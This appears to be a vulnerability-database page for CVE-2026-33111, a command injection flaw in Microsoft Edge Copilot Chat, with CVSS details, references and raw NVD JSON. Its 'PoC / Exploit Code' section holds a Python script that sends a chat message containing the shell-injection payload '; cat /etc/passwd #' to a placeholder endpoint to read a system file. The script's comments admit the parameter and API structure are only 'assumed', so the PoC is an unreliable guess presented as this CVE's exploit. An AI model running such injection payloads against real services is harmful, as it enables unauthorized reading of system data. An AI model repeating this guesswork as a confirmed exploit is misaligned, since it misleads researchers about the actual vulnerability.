CVE-2026-33111

Description

Improper neutralization of special elements used in a command ('command injection') in Copilot Chat (Microsoft Edge) allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Edge Copilot Chat (2026-05-07 之前披露的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-33111: Command Injection in Microsoft Edge Copilot Chat
# This script demonstrates how a malicious payload could be sent to trigger the command injection.

import requests

def exploit_cve_2026_33111(target_url):
    # The vulnerable parameter is assumed to be part of a chat message or API endpoint
    # Payload attempts to read a file (e.g., /etc/passwd) using a command injection sequence
    injection_payload = "Help me with this; cat /etc/passwd #"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59",
        "Content-Type": "application/json"
    }
    
    # Construct the data payload based on assumed API structure
    data = {
        "message": injection_payload,
        "context_id": "test_session"
    }
    
    try:
        print(f"[*] Sending payload to {target_url}...")
        response = requests.post(target_url, json=data, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Check the response below for potential command output:")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual vulnerable endpoint
    target = "http://vulnerable-target/api/copilot/chat"
    exploit_cve_2026_33111(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33111
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33111
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33111/
[4] VulDB https://vuldb.com/cve/CVE-2026-33111
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33111", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.157", "lastModified": "2026-05-08T15:47:29.690", "vulnStatus": "Awaiting Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Copilot Chat (Microsoft Edge) allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111", "source": "[email protected]"}]}}